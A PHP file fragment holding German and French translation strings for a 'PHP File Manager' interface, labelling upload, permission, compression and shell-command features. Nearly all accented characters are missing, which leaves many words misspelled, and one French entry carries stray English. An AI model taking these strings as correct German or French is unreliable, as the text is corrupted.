        $de1['TypeArq'] = 'Trage den Dateinamen ein';
        $de1['TypeCmd'] = 'Gib das Kommando ein';
        $de1['TypeArqComp'] = 'Trage den Dateinamen ein.
Die Dateierweiterung wird den Kompressiontyp bestimmen.
Bsp.:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $de1['RemSel'] = 'LSCHE die selektierten Objekte';
        $de1['NoDestDir'] = 'Das selektierte Zielverzeichnis existiert nicht';
        $de1['DestEqOrig'] = 'Quell- und Zielverzeichnis stimmen berein';
        $de1['InvalidDest'] = 'Zielverzeichnis ist ungltig';
        $de1['NoNewPerm'] = 'Neue Zugriffserlaubnis konnte nicht gesetzt werden';
        $de1['CopyTo'] = 'KOPIERE nach';
        $de1['MoveTo'] = 'VERSCHIEBE nach';
        $de1['AlterPermTo'] = 'NDERE ZUGRIFFSERLAUBSNIS in';
        $de1['ConfExec'] = 'Besttige AUSFHRUNG';
        $de1['ConfRem'] = 'Besttige LSCHEN';
        $de1['EmptyDir'] = 'Leeres Verzeichnis';
        $de1['IOError'] = 'Eingabe/Ausgabe-Fehler';
        $de1['FileMan'] = 'PHP File Manager';
        $de1['TypePass'] = 'Trage das Passwort ein';
        $de1['InvPass'] = 'Ungltiges Passwort';
        $de1['ReadDenied'] = 'Lesezugriff verweigert';
        $de1['FileNotFound'] = 'Datei nicht gefunden';
        $de1['AutoClose'] = 'Schlieen, wenn fertig';
        $de1['OutDocRoot'] = 'Datei auerhalb von DOCUMENT_ROOT';
        $de1['NoCmd'] = 'Fehler: Es wurde kein Kommando eingetragen';
        $de1['ConfTrySave'] = 'Keine Schreibberechtigung fr die Datei.
Versuche trotzdem zu speichern';
        $de1['ConfSaved'] = 'Konfiguration gespeichert';
        $de1['PassSaved'] = 'Passwort gespeichert';
        $de1['FileDirExists'] = 'Datei oder Verzeichnis existiert schon';
        $de1['NoPhpinfo'] = 'Funktion phpinfo ist inaktiv';
        $de1['NoReturn'] = 'keine Rckgabe';
        $de1['FileSent'] = 'Datei wurde gesendet';
        $de1['SpaceLimReached'] = 'Verfgbares Speicherlimit wurde erreicht';
        $de1['InvExt'] = 'Ungltige Dateiendung';
        $de1['FileNoOverw'] = 'Datei kann nicht berschrieben werden';
        $de1['FileOverw'] = 'Datei berschrieben';
        $de1['FileIgnored'] = 'Datei ignoriert';
        $de1['ChkVer'] = 'Prfe auf neue Version';
        $de1['ChkVerAvailable'] = 'Neue Version verfgbar; klicke hier, um den Download zu starten!!';
        $de1['ChkVerNotAvailable'] = 'Keine neue Version gefunden. :(';
        $de1['ChkVerError'] = 'Verbindungsfehler.';
        $de1['Website'] = 'Webseite';
        $de1['SendingForm'] = 'Sende Dateien... Bitte warten.';
        $de1['NoFileSel'] = 'Keine Datei selektiert';
        $de1['SelAll'] = 'Alle';
        $de1['SelNone'] = 'Keine';
        $de1['SelInverse'] = 'Invertieren';
        $de1['Selected_s'] = 'selektiert';
        $de1['Total'] = 'Gesamt';
        $de1['Partition'] = 'Partition';
        $de1['RenderTime'] = 'Zeit, um die Seite anzuzeigen';
        $de1['Seconds'] = 's';
        $de1['ErrorReport'] = 'Fehlerreport';
        // German - by AXL
        $de2['Version'] = 'Version';
        $de2['DocRoot'] = 'Document Stammverzeichnis';
        $de2['FLRoot'] = 'Datei Manager Stammverzeichnis';
        $de2['Name'] = 'Name';
        $de2['And'] = 'und';
        $de2['Enter'] = 'Enter';
        $de2['Send'] = 'Senden';
        $de2['Refresh'] = 'Aktualisieren';
        $de2['SaveConfig'] = 'Konfiguration speichern';
        $de2['SavePass'] = 'Passwort speichern';
        $de2['SaveFile'] = 'Datei speichern';
        $de2['Save'] = 'Speichern';
        $de2['Leave'] = 'Verlassen';
        $de2['Edit'] = 'Bearb.';
        $de2['View'] = 'Anzeigen';
        $de2['Config'] = 'Konfigurieren';
        $de2['Ren'] = 'Umb.';
        $de2['Rem'] = 'Lschen';
        $de2['Compress'] = 'Komprimieren';
        $de2['Decompress'] = 'De-Komprimieren';
        $de2['ResolveIDs'] = 'IDs auflsen';
        $de2['Move'] = 'Versch.';
        $de2['Copy'] = 'Kopie';
        $de2['ServerInfo'] = 'Server Info';
        $de2['CreateDir'] = 'Verzeichnis erstellen';
        $de2['CreateArq'] = 'Datei erstellen';
        $de2['ExecCmd'] = 'Befehl ausfhren';
        $de2['Upload'] = 'Upload';
        $de2['UploadEnd'] = 'Upload abgeschlossen';
        $de2['Perm'] = 'Rechte';
        $de2['Perms'] = 'Rechte';
        $de2['Owner'] = 'Besitzer';
        $de2['Group'] = 'Gruppe';
        $de2['Other'] = 'Andere';
        $de2['Size'] = 'Gre';
        $de2['Date'] = 'Datum';
        $de2['Type'] = 'Typ';
        $de2['Free'] = 'frei';
        $de2['Shell'] = 'Shell';
        $de2['Read'] = 'Read';
        $de2['Write'] = 'Write';
        $de2['Exec'] = 'Execute';
        $de2['Apply'] = 'Anwenden';
        $de2['StickyBit'] = 'Sticky Bit';
        $de2['Pass'] = 'Passwort';
        $de2['Lang'] = 'Sprache';
        $de2['File'] = 'Datei';
        $de2['File_s'] = 'Datei(en)';
        $de2['Dir_s'] = 'Verzeichnis(se)';
        $de2['To'] = 'an';
        $de2['Destination'] = 'Ziel';
        $de2['Configurations'] = 'Konfigurationen';
        $de2['JSError'] = 'JavaScript Fehler';
        $de2['NoSel'] = 'Keine Eintrge ausgewhlt';
        $de2['SelDir'] = 'Whlen Sie das Zeilverzeichnis im Verzeichnis links';
        $de2['TypeDir'] = 'Geben Sie den Verzeichnisnamen ein';
        $de2['TypeArq'] = 'Geben Sie den Dateinamen ein';
        $de2['TypeCmd'] = 'Geben Sie den Befehl ein';
        $de2['TypeArqComp'] = 'Geben Sie den Dateinamen ein.
Die Datei-Extension legt den Kopressionstyp fest.
Beispiel:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $de2['RemSel'] = 'Ausgewhlte Dateien LSCHEN';
        $de2['NoDestDir'] = 'Es wurde kein Zielverzeichnis angegeben';
        $de2['DestEqOrig'] = 'Quell- und Zielverzeichnis sind identisch';
        $de2['InvalidDest'] = 'Zielverzeichnis ungltig';
        $de2['NoNewPerm'] = 'Unzureichende Rechte';
        $de2['CopyTo'] = 'KOPIEREN nach';
        $de2['MoveTo'] = 'VERSCHIEBEN nach';
        $de2['AlterPermTo'] = 'RECHTE NDERN in';
        $de2['ConfExec'] = 'Besttigung AUSFHREN';
        $de2['ConfRem'] = 'Besttigung LSCHEN';
        $de2['EmptyDir'] = 'Leeres Verzeichnis';
        $de2['IOError'] = 'Ein-/Ausgabe-Fehler';
        $de2['FileMan'] = 'PHP File Manager';
        $de2['TypePass'] = 'Bitte geben Sie das Passwort ein';
        $de2['InvPass'] = 'Ungltiges Passwort';
        $de2['ReadDenied'] = 'Leasezugriff verweigert';
        $de2['FileNotFound'] = 'Datei nicht gefunden';
        $de2['AutoClose'] = 'Schliessen nach Beenden';
        $de2['OutDocRoot'] = 'Datei oberhalb DOCUMENT_ROOT';
        $de2['NoCmd'] = 'Fehler: Befehl nicht informed';
        $de2['ConfTrySave'] = 'Datei ohne Schreibberechtigung.
Trotzdem versuchen zu speichern';
        $de2['ConfSaved'] = 'Konfigurationen gespeichert';
        $de2['PassSaved'] = 'Passwort gespeichert';
        $de2['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits';
        $de2['NoPhpinfo'] = 'Funktion phpinfo ausgeschaltet';
        $de2['NoReturn'] = 'keine Rckgabe';
        $de2['FileSent'] = 'Datei versandt';
        $de2['SpaceLimReached'] = 'Plattenplatz erschpft';
        $de2['InvExt'] = 'Ungltige datei-Extension';
        $de2['FileNoOverw'] = 'Datei kann nicht berschrieben werden';
        $de2['FileOverw'] = 'Datei berschrieben';
        $de2['FileIgnored'] = 'Datei ignoriert';
        $de2['ChkVer'] = 'berprfe neuer Version';
        $de2['ChkVerAvailable'] = 'Neue Version. Hier klicken fr Download!!';
        $de2['ChkVerNotAvailable'] = 'Keine neue Version verfgbar. :(';
        $de2['ChkVerError'] = 'Verbindungsfehler.';
        $de2['Website'] = 'Webseite';
        $de2['SendingForm'] = 'Sende Dateien, bitte warten';
        $de2['NoFileSel'] = 'Keine Dateien ausgewhlt';
        $de2['SelAll'] = 'Alle';
        $de2['SelNone'] = 'Keine';
        $de2['SelInverse'] = 'Invers';
        $de2['Selected_s'] = 'ausgewhlt';
        $de2['Total'] = 'Total';
        $de2['Partition'] = 'Partition';
        $de2['RenderTime'] = 'Zeit zum Erzeugen der Seite';
        $de2['Seconds'] = 'Sekunden';
        $de2['ErrorReport'] = 'Fehler berichten';
        // German - by Mathias Rothe
        $de3['Version'] = 'Version';
        $de3['DocRoot'] = 'Dokumenten Root';
        $de3['FLRoot'] = 'Datei Manager Root';
        $de3['Name'] = 'Name';
        $de3['And'] = 'und';
        $de3['Enter'] = 'Enter';
        $de3['Send'] = 'Senden';
        $de3['Refresh'] = 'Refresh';
        $de3['SaveConfig'] = 'Konfiguration speichern';
        $de3['SavePass'] = 'Passwort speichern';
        $de3['SaveFile'] = 'Datei speichern';
        $de3['Save'] = 'Speichern';
        $de3['Leave'] = 'Abbrechen';
        $de3['Edit'] = 'Bearbeiten';
        $de3['View'] = 'Anzeigen';
        $de3['Config'] = 'Konfiguration';
        $de3['Ren'] = 'Umbenennen';
        $de3['Rem'] = 'Entfernen';
        $de3['Compress'] = 'Packen';
        $de3['Decompress'] = 'Entpacken';
        $de3['ResolveIDs'] = 'IDs aufloesen';
        $de3['Move'] = 'Verschieben';
        $de3['Copy'] = 'Kopie';
        $de3['ServerInfo'] = 'Server Info';
        $de3['CreateDir'] = 'Neuer Ordner';
        $de3['CreateArq'] = 'Neue Datei';
        $de3['ExecCmd'] = 'Befehl ausfuehren';
        $de3['Upload'] = 'Upload';
        $de3['UploadEnd'] = 'Upload beendet';
        $de3['Perm'] = 'Rechte';
        $de3['Perms'] = 'Rechte';
        $de3['Owner'] = 'Eigent';
        $de3['Group'] = 'Gruppe';
        $de3['Other'] = 'Andere';
        $de3['Size'] = 'Groesse';
        $de3['Date'] = 'Datum';
        $de3['Type'] = 'Typ';
        $de3['Free'] = 'frei';
        $de3['Shell'] = 'Shell';
        $de3['Read'] = 'Lesen';
        $de3['Write'] = 'Schreiben';
        $de3['Exec'] = 'Ausfuehren';
        $de3['Apply'] = 'Bestaetigen';
        $de3['StickyBit'] = 'Sticky Bit';
        $de3['Pass'] = 'Passwort';
        $de3['Lang'] = 'Sprache';
        $de3['File'] = 'Datei';
        $de3['File_s'] = 'Datei(en)';
        $de3['Dir_s'] = 'Ordner';
        $de3['To'] = 'nach';
        $de3['Destination'] = 'Ziel';
        $de3['Configurations'] = 'Konfiguration';
        $de3['JSError'] = 'JavaScript Error';
        $de3['NoSel'] = 'Keine Objekte ausgewaehlt';
        $de3['SelDir'] = 'Waehlen Sie links das Zielverzeichnis aus';
        $de3['TypeDir'] = 'Verzeichnisname eingeben';
        $de3['TypeArq'] = 'Dateiname eingeben';
        $de3['TypeCmd'] = 'Befehl eingeben';
        $de3['TypeArqComp'] = 'Dateinamen eingeben.
Die Erweiterung definiert den Archiv-Typ.
Ex:
name.zip
name.tar
name.bzip
name.gzip';
        $de3['RemSel'] = 'Entferne ausgewaehlte Objekte';
        $de3['NoDestDir'] = 'Kein Zielverzeichnis ausgewaehlt';
        $de3['DestEqOrig'] = 'Quelle und Zielverzeichnis sind gleich';
        $de3['InvalidDest'] = 'Zielverzeichnis ungueltig';
        $de3['NoNewPerm'] = 'Neue Rechte nicht gesetzt';
        $de3['CopyTo'] = 'Kopiere nach';
        $de3['MoveTo'] = 'Verschiebe nach';
        $de3['AlterPermTo'] = 'Aendere Rechte zu';
        $de3['ConfExec'] = 'Ausfuehren bestaetigen';
        $de3['ConfRem'] = 'Entfernen bestaetigen';
        $de3['EmptyDir'] = 'Leerer Ordner';
        $de3['IOError'] = 'I/O Fehler';
        $de3['FileMan'] = 'PHP Datei Manager';
        $de3['TypePass'] = 'Bitte Passwort eingeben';
        $de3['InvPass'] = 'Falsches Passwort';
        $de3['ReadDenied'] = 'Kein Lesezugriff';
        $de3['FileNotFound'] = 'Datei nicht gefunden';
        $de3['AutoClose'] = 'Beenden bei Fertigstellung';
        $de3['OutDocRoot'] = 'Datei ausserhalb des DOCUMENT_ROOT';
        $de3['NoCmd'] = 'Fehler: unbekannter Befehl';
        $de3['ConfTrySave'] = 'Datei ohne Schreibrecht.
Versuche dennoch zu speichern';
        $de3['ConfSaved'] = 'Konfiguration gespeichert';
        $de3['PassSaved'] = 'Passwort gespeichert';
        $de3['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits';
        $de3['NoPhpinfo'] = 'Funktion phpinfo gesperrt';
        $de3['NoReturn'] = 'kein zurueck';
        $de3['FileSent'] = 'Datei gesendet';
        $de3['SpaceLimReached'] = 'Speicherplatz Grenze erreicht';
        $de3['InvExt'] = 'Ungueltige Erweiterung';
        $de3['FileNoOverw'] = 'Datei konnte nicht ueberschrieben werden';
        $de3['FileOverw'] = 'Datei ueberschrieben';
        $de3['FileIgnored'] = 'Datei ignoriert';
        $de3['ChkVer'] = 'Puefe eine neuere Version';
        $de3['ChkVerAvailable'] = 'Neue Version, hier klicken zum Download!!';
        $de3['ChkVerNotAvailable'] = 'Keine neuere Version vorhanden. :(';
        $de3['ChkVerError'] = 'Verbindungsfehler.';
        $de3['Website'] = 'Website';
        $de3['SendingForm'] = 'Dateien werden gesendet, bitte warten';
        $de3['NoFileSel'] = 'Keine Datei ausgewaehlt';
        $de3['SelAll'] = 'Alle';
        $de3['SelNone'] = 'Keine';
        $de3['SelInverse'] = 'Invertiere';
        $de3['Selected_s'] = 'ausgewaehlt';
        $de3['Total'] = 'gesamt';
        $de3['Partition'] = 'Partition';
        $de3['RenderTime'] = 'Zeit zur Erzeugung dieser Seite';
        $de3['Seconds'] = 'sec';
        $de3['ErrorReport'] = 'Fehlermeldungen';
        // French - by Jean Bilwes
        $fr1['Version'] = 'Version';
        $fr1['DocRoot'] = 'Racine des documents';
        $fr1['FLRoot'] = 'Racine du gestionnaire de fichers';
        $fr1['Name'] = 'Nom';
        $fr1['And'] = 'et';
        $fr1['Enter'] = 'Enter';
        $fr1['Send'] = 'Envoyer';
        $fr1['Refresh'] = 'Rafraichir';
        $fr1['SaveConfig'] = 'Enregistrer la Configuration';
        $fr1['SavePass'] = 'Enregistrer le mot de passe';
        $fr1['SaveFile'] = 'Enregistrer le fichier';
        $fr1['Save'] = 'Enregistrer';
        $fr1['Leave'] = 'Quitter';
        $fr1['Edit'] = 'Modifier';
        $fr1['View'] = 'Voir';
        $fr1['Config'] = 'Config';
        $fr1['Ren'] = 'Renommer';
        $fr1['Rem'] = 'Detruire';
        $fr1['Compress'] = 'Compresser';
        $fr1['Decompress'] = 'Decompresser';
        $fr1['ResolveIDs'] = 'Resoudre les IDs';
        $fr1['Move'] = 'Dplacer';
        $fr1['Copy'] = 'Copier';
        $fr1['ServerInfo'] = 'info du sreveur';
        $fr1['CreateDir'] = 'Crer un rpertoire';
        $fr1['CreateArq'] = 'Crer un fichier';
        $fr1['ExecCmd'] = 'Executer une Commande';
        $fr1['Upload'] = 'Tlversement(upload)';
        $fr1['UploadEnd'] = 'Tlversement Fini';
        $fr1['Perm'] = 'Perm';
        $fr1['Perms'] = 'Permissions';
        $fr1['Owner'] = 'Propritaire';
        $fr1['Group'] = 'Groupe';
        $fr1['Other'] = 'Autre';
        $fr1['Size'] = 'Taille';
        $fr1['Date'] = 'Date';
        $fr1['Type'] = 'Type';
        $fr1['Free'] = 'libre';
        $fr1['Shell'] = 'Shell';
        $fr1['Read'] = 'Lecture';
        $fr1['Write'] = 'Ecriture';
        $fr1['Exec'] = 'Executer';
        $fr1['Apply'] = 'Appliquer';
        $fr1['StickyBit'] = 'Sticky Bit';
        $fr1['Pass'] = 'Mot de passe';
        $fr1['Lang'] = 'Langage';
        $fr1['File'] = 'Fichier';
        $fr1['File_s'] = 'fichier(s)';
        $fr1['Dir_s'] = 'rpertoire(s)';
        $fr1['To'] = ' ';
        $fr1['Destination'] = 'Destination';
        $fr1['Configurations'] = 'Configurations';
        $fr1['JSError'] = 'Erreur JavaScript';
        $fr1['NoSel'] = 'Rien n\'est slectionn';
        $fr1['SelDir'] = 'Selectionnez le rpertoire de destination dans le panneau gauche';
        $fr1['TypeDir'] = 'Entrer le nom du rpertoire';
        $fr1['TypeArq'] = 'Entrer le nom du fichier';
        $fr1['TypeCmd'] = 'Entrer la commande';
        $fr1['TypeArqComp'] = 'Entrer le nom du fichier.
L\'extension dfinira le type de compression.
Ex:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $fr1['RemSel'] = 'EFFACER les objets slectionns';
        $fr1['NoDestDir'] = 'Aucun rpertoire de destination n\'est slectionn';
        $fr1['DestEqOrig'] = 'Les rpertoires source et destination sont identiques';
        $fr1['InvalidDest'] = 'Le rpertoire de destination est invalide';
        $fr1['NoNewPerm'] = 'Nouvelle permission non tablie';
        $fr1['CopyTo'] = 'COPIER vers';
        $fr1['MoveTo'] = 'DEPLACER vers';
        $fr1['AlterPermTo'] = 'CHANGER LES PERMISSIONS';
        $fr1['ConfExec'] = 'Confirmer l\'EXECUTION';
        $fr1['ConfRem'] = 'Confirmer la DESTRUCTION';
        $fr1['EmptyDir'] = 'Rpertoire vide';
        $fr1['IOError'] = 'I/O Error';
        $fr1['FileMan'] = 'PHP File Manager';
        $fr1['TypePass'] = 'Entrer le mot de passe';
        $fr1['InvPass'] = 'Mot de passe invalide';
        $fr1['ReadDenied'] = 'Droit de lecture refus';
        $fr1['FileNotFound'] = 'Fichier introuvable';
        $fr1['AutoClose'] = 'Fermer sur fin';
        $fr1['OutDocRoot'] = 'Fichier au del  de DOCUMENT_ROOT';
        $fr1['NoCmd'] = 'Erreur: Commande non renseigne';
        $fr1['ConfTrySave'] = 'Fichier sans permission d\'criture.
J\'essaie de l\'enregister';
        $fr1['ConfSaved'] = 'Configurations enreristre';
        $fr1['PassSaved'] = 'Mot de passe enreristr';
        $fr1['FileDirExists'] = 'Le fichier ou le rpertoire existe dj ';
        $fr1['NoPhpinfo'] = 'Function phpinfo dsactive';
        $fr1['NoReturn'] = 'pas de retour';
        $fr1['FileSent'] = 'Fichier envoy';
        $fr1['SpaceLimReached'] = 'Espace maxi atteint';
        $fr1['InvExt'] = 'Extension invalide';
        $fr1['FileNoOverw'] = 'Le fichier ne peut pas etre cras';
        $fr1['FileOverw'] = 'Fichier cras';
        $fr1['FileIgnored'] = 'Fichier ignor';
        $fr1['ChkVer'] = 'Verifier nouvelle version';
        $fr1['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour la tlchager!!';
        $fr1['ChkVerNotAvailable'] = 'Aucune mise a jour de disponible. :(';
        $fr1['ChkVerError'] = 'Erreur de connection.';
        $fr1['Website'] = 'siteweb';
        $fr1['SendingForm'] = 'Envoi des fichiers en cours, Patienter';
        $fr1['NoFileSel'] = 'Aucun fichier slectionn';
        $fr1['SelAll'] = 'Tous';
        $fr1['SelNone'] = 'Aucun';
        $fr1['SelInverse'] = 'Inverser';
        $fr1['Selected_s'] = 'selection';
        $fr1['Total'] = 'total';
        $fr1['Partition'] = 'Partition';
        $fr1['RenderTime'] = 'Temps pour afficher cette page';
        $fr1['Seconds'] = 'sec';
        $fr1['ErrorReport'] = 'Rapport d\'erreur';
        // French - by Sharky
        $fr2['Version'] = 'Version';
        $fr2['DocRoot'] = 'Racine document';
        $fr2['FLRoot'] = 'Gestion des fichiers racine';
        $fr2['Name'] = 'Nom';
        $fr2['And'] = 'et';
        $fr2['Enter'] = 'Entrer';
        $fr2['Send'] = 'Envoi';
        $fr2['Refresh'] = 'Rafrachir';
        $fr2['SaveConfig'] = 'Sauver configurations';
        $fr2['SavePass'] = 'Sauver mot de passe';
        $fr2['SaveFile'] = 'Sauver fichier';
        $fr2['Save'] = 'Sauver';
        $fr2['Leave'] = 'Permission';
        $fr2['Edit'] = 'diter';
        $fr2['View'] = 'Afficher';
        $fr2['Config'] = 'config';
        $fr2['Ren'] = 'Renommer';
        $fr2['Rem'] = 'Effacer';
        $fr2['Compress'] = 'Compresser';
        $fr2['Decompress'] = 'Dcompresser';
        $fr2['ResolveIDs'] = 'Rsoudre ID';
        $fr2['Move'] = 'Dplacer';
        $fr2['Copy'] = 'Copier';
        $fr2['ServerInfo'] = 'Information Serveur';
        $fr2['CreateDir'] = 'Crer un rpertoire';
        $fr2['CreateArq'] = 'Crer un fichier';
        $fr2['ExecCmd'] = 'Execut une commande';
        $fr2['Upload'] = 'Transfrer';
        $fr2['UploadEnd'] = 'Transfert termin';
        $fr2['Perm'] = 'Perm';
        $fr2['Perms'] = 'Permissions';
        $fr2['Owner'] = 'Propritaire';
        $fr2['Group'] = 'Groupe';
        $fr2['Other'] = 'Autre';
        $fr2['Size'] = 'Taille';
        $fr2['Date'] = 'date';
        $fr2['Type'] = 'Type';
        $fr2['Free'] = 'Libre';
        $fr2['Shell'] = 'Shell';
        $fr2['Read'] = 'lecture';
        $fr2['Write'] = 'criture';
        $fr2['Exec'] = 'Execute';
        $fr2['Apply'] = 'Appliquer';
        $fr2['StickyBit'] = 'Bit figer';
        $fr2['Pass'] = 'mot de passe';
        $fr2['Lang'] = 'Language';
        $fr2['File'] = 'Fichier';
        $fr2['File_s'] = 'fichier(s)';
        $fr2['Dir_s'] = 'rpertoire(s)';
        $fr2['To'] = ' ';
        $fr2['Destination'] = 'Destination';
        $fr2['Configurations'] = 'Configurations';
        $fr2['JSError'] = 'Erreur JavaScript';
        $fr2['NoSel'] = 'Il n\'y a pas d\'objets slectionns';
        $fr2['SelDir'] = 'Slectionnez le rpertoire de destination sur l\'arborescence de gauche';
        $fr2['TypeDir'] = 'Entrez le nom du rpertoire';
        $fr2['TypeArq'] = 'Entrez le nom du fichier';
        $fr2['TypeCmd'] = 'Entrez la commande';
        $fr2['TypeArqComp'] = 'Entrez le fichier.
L\'extension dfinira le type de compression.
Ex:
nom.zip
nom.tar
nom.bzip
nom.gzip';
        $fr2['RemSel'] = 'EFFACEZ l\'objet slectionn';
        $fr2['NoDestDir'] = 'Il n\'y a aucun rpertoire de destination slectionn';
        $fr2['DestEqOrig'] = 'Origine et rpertoires de destination sont identique';
        $fr2['InvalidDest'] = 'Rpertoire de destination est invalide';
        $fr2['NoNewPerm'] = 'Nouvelle autorisation n\'a pas t configur';
        $fr2['CopyTo'] = 'COPIE dans';
        $fr2['MoveTo'] = 'DPLACER dans';
        $fr2['AlterPermTo'] = 'CHANGER PERMISSIONS dans';
        $fr2['ConfExec'] = 'Confirmer EXECUTE';
        $fr2['ConfRem'] = 'Confirmer EFFACER';
        $fr2['EmptyDir'] = 'Rpertoire vide';
        $fr2['IOError'] = 'I/O Erreur';
        $fr2['FileMan'] = 'Gestion de fichiers PHP';
        $fr2['TypePass'] = 'Entrer le mot de passe';
        $fr2['InvPass'] = 'Mot de passe invalide';
        $fr2['ReadDenied'] = 'Accs en lecture refuser';
        $fr2['FileNotFound'] = 'Fichier non-trouv';
        $fr2['AutoClose'] = 'Fermez a la fin';
        $fr2['OutDocRoot'] = 'Fichier au-del  DOCUMENT_ROOT';
        $fr2['NoCmd'] = 'Erreur: Commande inconnue';
        $fr2['ConfTrySave'] = 'Fichier sans permission d\'criture.
Essayez de sauver';
        $fr2['ConfSaved'] = 'Configurations sauve';
        $fr2['PassSaved'] = 'Mot de passe sauv';
        $fr2['FileDirExists'] = 'Fichier ou rpertoire dj  existant';
        $fr2['NoPhpinfo'] = 'Function phpinfo dsactiv';
        $fr2['NoReturn'] = 'sans retour possible';
        $fr2['FileSent'] = 'Fichier envoy';
        $fr2['SpaceLimReached'] = 'Limite de d\'espace atteint';
        $fr2['InvExt'] = 'Extension invalide';
        $fr2['FileNoOverw'] = 'Fichier ne peut pas tre cras';
        $fr2['FileOverw'] = 'Fichier cras';
        $fr2['FileIgnored'] = 'Fichier ignor';
        $fr2['ChkVer'] = 'Check nouvelle version';
        $fr2['ChkVerAvailable'] = 'Nouvelle version, cliquez ici pour commencer le tlchargement!!';
        $fr2['ChkVerNotAvailable'] = 'Aucune nouvelle version disponible. :(';
        $fr2['ChkVerError'] = 'Erreur de connection.';
        $fr2['Website'] = 'Site Web';
        $fr2['SendingForm'] = 'Envoye de fichier, s\'il vous plat patientez';
        $fr2['NoFileSel'] = 'Aucun fichier slectionn';
        $fr2['SelAll'] = 'Tout';
        $fr2['SelNone'] = 'Aucuns';
        $fr2['SelInverse'] = 'Inverser';
        $fr2['Selected_s'] = 'slectionn';
        $fr2['Total'] = 'total';
        $fr2['Partition'] = 'Partition';
        $fr2['RenderTime'] = 'Temps pour afficher la page';
        $fr2['Seconds'] = 'sec';
        $fr2['ErrorReport'] = 'Liste des erreurs';
        // French - by Michel Lainey
        $fr3['Version'] = 'Version';
        $fr3['DocRoot'] = 'Racine Document';
        $fr3['FLRoot'] = 'Racine File Manager';
        $fr3['Name'] = 'Nom';
        $fr3['And'] = 'et';
        $fr3['Enter'] = 'Valider';
        $fr3['Send'] = 'Envoyer';
        $fr3['Refresh'] = 'Raffraichir';
        $fr3['SaveConfig'] = 'Sauvegarder Config';
        $fr3['SavePass'] = 'Sauvegarder Password';
        $fr3['SaveFile'] = 'Sauvegarder Fichier';
        $fr3['Save'] = 'Sauvegarder';
        $fr3['Leave'] = 'Quitter';
        $fr3['Edit'] = 'Editer';
        $fr3['View'] = 'Visualiser';
        $fr3['Config'] = 'Config';
        $fr3['Ren'] = 'Renommer';
        $fr3['Rem'] = 'Supprimer';
        $fr3['Compress'] = 'Compresser';
        $fr3['Decompress'] = 'Dcompresser';
        $fr3['ResolveIDs'] = 'Resoudre IDs';
        $fr3['Move'] = 'Dplacer';
        $fr3['Copy'] = 'Copier';
        $fr3['ServerInfo'] = 'Server Info';
        $fr3['CreateDir'] = 'Crer Rpertoire';
        $fr3['CreateArq'] = 'Crer Fichier';
        $fr3['ExecCmd'] = 'Executer Commande';
        $fr3['Upload'] = 'Upload';
        $fr3['UploadEnd'] = 'Upload Fini';
        $fr3['Perm'] = 'Perm';
        $fr3['Perms'] = 'Permissions';
        $fr3['Owner'] = 'Propritaire';
        $fr3['Group'] = 'Groupe';
        $fr3['Other'] = 'Autres';
        $fr3['Size'] = 'Taille';
        $fr3['Date'] = 'Date';
        $fr3['Type'] = 'Type';
        $fr3['Free'] = 'libre';
        $fr3['Shell'] = 'Shell';
        $fr3['Read'] = 'Lecture';
        $fr3['Write'] = 'Ecriture';
        $fr3['Exec'] = 'Execute';
        $fr3['Apply'] = 'Application';
        $fr3['StickyBit'] = 'Sticky Bit';
        $fr3['Pass'] = 'Password';
        $fr3['Lang'] = 'Language';
        $fr3['File'] = 'Fichier';
        $fr3['File_s'] = 'fichier(s)';
        $fr3['Dir_s'] = 'rpertoire(s)';
        $fr3['To'] = ' ';
        $fr3['Destination'] = 'Destination';
        $fr3['Configurations'] = 'Configurations';
        $fr3['JSError'] = 'Erreur JavaScript';
        $fr3['NoSel'] = 'Aucun lment slectionn';
        $fr3['SelDir'] = "Slectionner le rpertoire de destination dans l'arboresence de gauchethe destination directory on the left tree";
        $fr3['TypeDir'] = 'Indiquer le nom du rpertoire';
        $fr3['TypeArq'] = 'Indiquer le nom du fichier';
        $fr3['TypeCmd'] = 'Entrer une commande';
        $fr3['TypeArqComp'] = "Indiquer le nom du fichier.
L'extension dfinira le type de compression.
Ex:
nome.zip
nome.tar
nome.bzip
nome.gzip";
        $fr3['RemSel'] = "SUPPRIMER l'lment slectionn";
        $fr3['NoDestDir'] = "Il n'y a pas de rpertoire destination slectionn";
        $fr3['DestEqOrig'] = 'Rpertoire Origine et Destination sont identiques';
        $fr3['InvalidDest'] = 'Le rpertoire de destination est invalide';
        $fr3['NoNewPerm'] = 'Nouvelle permission non applique';
        $fr3['CopyTo'] = 'COPIER vers';
        $fr3['MoveTo'] = 'DEPLACER vers';
        $fr3['AlterPermTo'] = 'CHANGER LES PERMISSIONS vers';
        $fr3['ConfExec'] = 'Confirmer EXECUTION';
        $fr3['ConfRem'] = 'Confirmer SUPPRESSION';
        $fr3['EmptyDir'] = 'Rpertoire vide';
        $fr3['IOError'] = 'Erreur entre/sortie';
        $fr3['FileMan'] = 'PHP File Manager';
        $fr3['TypePass'] = 'Saisir le mot de passe';
        $fr3['InvPass'] = 'Mot de passe invalide';
        $fr3['ReadDenied'] = 'Accs en lecture refus';
        $fr3['FileNotFound'] = 'Fichier non trouv';
        $fr3['AutoClose'] = 'Fermeture en fin de traitement';
        $fr3['OutDocRoot'] = 'Fichier en dessous de DOCUMENT_ROOT';
        $fr3['NoCmd'] = 'Erreur : Commande non renseigne';
        $fr3['ConfTrySave'] = "Fichier sans permission d'criture.
Tenter de sauver malgr tout";
        $fr3['ConfSaved'] = 'Configurations sauvegarde';
        $fr3['PassSaved'] = 'Password sauvegard';
        $fr3['FileDirExists'] = 'Fichier ou rpertoire dj  existant';
        $fr3['NoPhpinfo'] = 'Fonction phpinfo disactive';
        $fr3['NoReturn'] = 'pas de retour';
        $fr3['FileSent'] = 'Fichier envoy';
        $fr3['SpaceLimReached'] = 'Capacit maximale atteinte';
        $fr3['InvExt'] = 'Extension invalide';
        $fr3['FileNoOverw'] = 'Fichier ne pouvant tre remplac';
        $fr3['FileOverw'] = 'Fichier remplac';
        $fr3['FileIgnored'] = 'Fichier ignor';
        $fr3['ChkVer'] = 'Vrifier nouvelle version';
        $fr3['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour commencer le tlchargement !';
        $fr3['ChkVerNotAvailable'] = 'Pas de nouvelle version disponible. :(';
        $fr3['ChkVerError'] = 'Erreur de connection.';
        $fr3['Website'] = 'Site Web';
